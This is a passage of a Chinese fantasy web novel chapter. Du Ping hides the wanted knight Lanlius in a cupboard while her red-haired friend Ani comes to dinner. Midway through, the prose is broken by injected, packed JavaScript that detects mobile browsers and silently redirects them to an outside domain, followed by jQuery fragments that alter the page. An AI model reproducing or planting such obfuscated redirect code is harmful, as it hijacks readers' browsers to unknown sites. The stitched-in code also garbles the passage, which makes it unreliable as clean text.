杜瓶在晚上七点左右到家,她没想到她会在家门口看到阿妮。
她得有两周没见过她了吧,路灯下的红发女郎拎着一款镶满粉钻的时尚包包,穿一条浅粉乔其纱长裙,细纱圈叠的领口缀了一朵丝绸蔷薇。
她看了看手表,听到迎面而来的脚步声后,无奈地叉腰——
“你终于回来啦!”
杜瓶小脸煞白,“你在等我?”
“也没,我刚到,我知道你大概这会儿下班。”红发女郎朝她走来,拍了拍她的后脑勺,“你干嘛这副神情?不想见到我啊?”
被你猜中了呢,嘻嘻。
她可不能这么说。
杜瓶揩了揩额头的冷汗,“你没按门铃吧?”
“按门铃?你家门铃不是坏了吗?你修好了?”
杜瓶连忙摇头,没按就好。
“话说你怎么来了?你沉迷约会的时候,不是能有小半年不理我吗?”
“我是这么重色轻友的人吗?”阿妮抿唇笑了笑,“好吧,掰了。”
“又掰了?”
“他太爱吃大蒜了,你知道我有多恶心那味道,每次跟他睡觉我都想把他踹床底下去。”阿妮无奈地叹了口气,“我就想找个又帅又有钱的绅士,也太难了——”
杜瓶很想为大蒜发声,这应当是那位绅士不好好刷牙的后果。
但她现在没这个正义的心情。
阿妮右手捧脸,“我觉得,这个国家是没好男人了,我原先以为首席骑士算是顶顶优质的男人了吧,强大低调又有内涵,结果转眼他就杀了陛下,成了通缉犯,世界果然是光怪陆离的!”
是啊,世界是光怪陆离的,你要是知道他此时就在我家你恐怕得昏厥过去。
杜瓶平复着慌张的情绪。
她问道:“那你今晚是打算?”
“在你家吃个饭,跟你吐吐苦水,我暂时不想回家自个儿呆着——话说,你不是要找新房子吗?”
“找房子还要花钱……”杜瓶讪讪地说着,“等卢克打完仗从边境回来吧,等他回来我再搬走。”
“也是,反正应该还要一两年了。”
杜瓶先走到了庭院围栏前,阿妮站在她身后,仿佛在等待她打开院门。
杜瓶磨磨蹭蹭地从包里拿出钥匙,又磨磨蹭蹭地用钥匙捅着钥匙孔,装成手抖怎么也怼不进去那偌大的孔洞。
“你怎么像个一把年纪的老大爷?”阿妮从后头探出头。
“是吗?”
“是啊,有一种心有余而力不足的疲乏感。”她挤眉弄眼地笑着。
杜瓶被她突来的黄腔整得无语,她打开了院门,又听阿妮在后头叨叨——她总是比较话多。
“说起来,这房子的地契不是你俩一起的吗?”阿妮说着,“当时说为了结婚才买的,我看卢克应该也不会想要这房子了,等他回来你俩合计卖了,你还能挣上一半朗登呢。”
杜瓶点头,但因紧张并未说话。
阿妮环抱着双臂,用手肘撞了撞她的肩膀,“你就是太固执了!杜女士,闷头搞你那些没什么用的研究也得有资本,这里地段不错能卖个好价钱,到时候你就买个一居室的小房子,剩下来的钱不就财富自由了吗?”
她盘算来盘算去,“总之,卢克这人虽然是个花的,至少还是给你留了一些保障的。”
“啊,嗯。”杜瓶漫不经心地答应。
也不知道兰琉斯现在在干嘛,他要是正好站门口,一开门给两人一个大惊喜,事情可就大条了。
杜瓶当然知道阿妮不会随便泄密,但她也不希望她被卷入危险漩涡。
这种要砍头的事,少一个人知道,就少一分风险。
她盯着逐渐逼近的木门,回头发现阿妮正因院落内漂亮的花海而兴奋:“你什么时候审美这么出色了?竟然种了这么多花!”
“随便种的——你先在外面待会儿赏赏花,屋子里太乱了,我进去收拾一下!”
杜瓶迅速拧开门把,钻进了屋子,嘭地合上了门。
红发女郎嗅着浓香的玫瑰,“怪了,这家伙什么时候这么勤快了?”
杜瓶一进屋,就看到兰琉斯脱下腰间的围裙,丢在了餐桌上,“院子里的是谁?”
“我朋友。”
“把她赶走。”
“我都说了是我朋友!”
杜瓶走到兰琉斯身畔,将他拉到客厅的储物柜旁,打开柜门一边将他往里头塞一边说:“你先呆一会儿,保持安静,她心情不好,我跟她稍微说两句就找借口让她回去。”
“为什么我要呆柜子里?”
兰琉斯用一种小狗似的眼神看着她。
哥们,你是通缉犯呀!
杜瓶差点喊出来了,但她已经来不及跟他解释了,阿妮还在院子里待着呢。
她一边费劲地将他塞进储物柜——这时候长太高的坏处就显现出来了。
杜瓶塞得很艰难,兰琉斯被挤得也很艰难。
储物柜是上下两层的,他被杜瓶强行用“冰箱塞大象的三个步骤”硬生生踹进底层,两手抱着双腿,缩成了可怜的一团。
“炉灶边上,我切了一些芹菜胡萝卜之类的,正准备炖汤。”
兰琉斯眨眨眼,“你小心别被她看到。”
“没关系,我就说是我提前准备好的,我给她做饭。”
“杜瓶。”他用很认真的眼神看着她,不知道是不是杜瓶的错觉,那眼神中还带着一种杀气。
“别碰那些菜——”
“为啥我碰不得?”
“你会浪费我买的食材。”
杜瓶抽抽嘴角,他也太小看她了!
杜瓶嘭的关上了柜门,不让我碰,我偏要碰!
整顿好兰琉斯后,杜瓶拍拍脸,以保证自己的精神状态良好,然后她就打开了门——阿妮抱着双臂站在门口,仿佛已经等待多时。
“收拾好了?”
“好了。”
“挺勤快啊,杜。”阿妮越过杜瓶往里头看了两眼,随后将脚上的那双高跟鞋丢在了鞋柜旁,直起身子,原本从容的神色忽然一变。
她在门口僵硬了大概有半分钟的时间。
“怎,怎么了?”杜瓶以为她发现了异样,吓得磕巴起来。
“你这儿……是装修还是改造了?怎么整洁成这样?”
杜瓶松了口气,“没有,就是最近空闲,大扫除了一下。”
“天哪,以前这里跟狗窝似的。”
阿妮惊讶得都有些站不稳,她回头看了眼杜瓶:“你是不是被甩了脑子坏了?你不会精神出了点什么问题吧?”
她说罢伸手掰着杜瓶的眼球,仔细检查她的周身,“看起来好像没什么变化,就是面色红润了一点——穿的衣服还是很没品味。”
“……”
杜瓶不确定自己是不是真的听到了兰琉斯的笑声,因为阿妮好像没有任何反应,但她觉得,他肯定在偷偷笑她!
杜瓶推开阿妮的手,“好了,别管了,你还没吃晚饭吧?”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16297062|182661||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“当然,我说来你这儿吃饭呀。”
“没吃就对了。”
“是啊。”阿妮将包包丢到挂衣架上,撸起袖子就要去拿餐桌上的围裙,“往常都是我到你家给你做饭的,感激我吧,分手了还能来给你做顿大餐。”
杜瓶连忙扯过她手里的围裙,一把系在自己的腰间,她仰起头:“我给你做顿饭——”
红发女郎眯起眼,不信任地看了眼那自信满满的少女,“你?”
“怎么,我不行吗?”
“不行。”
她回答得没有半分犹豫,“我甚至忘了你上次做饭是猴年马月了,还是说你从来没开过火?”
“相信我,让你尝尝我的手艺!”
杜瓶将阿妮摁在了餐桌旁,“我菜都备好了,给你做一份牛肉炖汤,安抚一下你失恋焦灼的心情。”
阿妮半信半疑地坐下身,看到厨房案板上那精致的一碟碟备菜,难不成这家伙真的进修了一下厨艺?
一旁的储物柜猛地颤栗了一下。
红发女郎恐慌地问道:“杜,你这儿不会有老鼠吧?”
“没有,这么干净怎么可能有老鼠?”
“那可不一定,还记得我们小时候吗?鼠疫可夸张了!”
过了会儿,储物柜终于不再颤栗,红发女郎慢慢松了口气,她拿起桌上的书籍随手看了起来。
《古代厄尔尼地区精灵遗址考论》。
她并不怀疑,毕竟杜瓶这女人的看书品味一直怪兮兮的,有时候她看狗血俗套的《吸血鬼伯爵》,有时候她又看玄乎其乎的《高阶水系符文推导》。
阿妮饶有兴致的看了三分之一,还絮絮叨叨地跟杜瓶分享:“这本书不错,你从哪儿借来的?”
“什么书?”
杜瓶一边手忙脚乱地做饭,一边问道。
“就餐桌上这本书啊。”
“啊……”应该是兰琉斯的吧,她挠头,“图书室,图书室借的。”
“当代对精灵史的研究可是少之又少啊,这倒是给我今年的论文提供了一点新思路。”
她看得津津有味,甚至没注意到杜瓶已经端着疑似“炖汤”的东西过来了。
“阿妮,你不是研究永月纪元的吗?怎么突然对精灵史感兴趣?”
“精灵那时候也在洛斯维特生活嘛,没什么大毛病——”
她握着书本悠悠地说着。
与外表的艳丽孟浪不同,阿妮其实是安戈大学历史系的高材生,目前仍在上大学,虽然日常爱好是钓钓凯子,但大部分时间都穿着古朴的灰白制服在学校里与教授探讨古代史。
有时候碰到符文历史的问题,杜瓶也会请教她。
两人是小时候在教会学校上学认识的,只不过后来阿妮家里靠着倒卖南方大陆的特产大土豆发了横财,吃上了资本主义萌芽时期的甜头,从此家里富得流油,随便砸点指甲缝里掉出来的金渣渣也能上大学。
阿妮放下手里的书,摸了摸肚皮,“哎呀,有点饿了,不看书了,我看看你做了什么美味!”
她低下头,看着汤盘内的炖汤,整个人好像中了美杜莎的邪眼,身体一寸一寸地石化了。
“吃啊。”杜瓶还贴心地给她一个勺子。
阿妮僵硬地接过勺子,指着盘中黑洞洞的浆糊,“你,是要让我刷墙还是让我吃饭?”
“当然是吃饭啦。”杜瓶额头跳出十字路口。
“要不是我还是去刷墙吧?”
杜瓶:“……”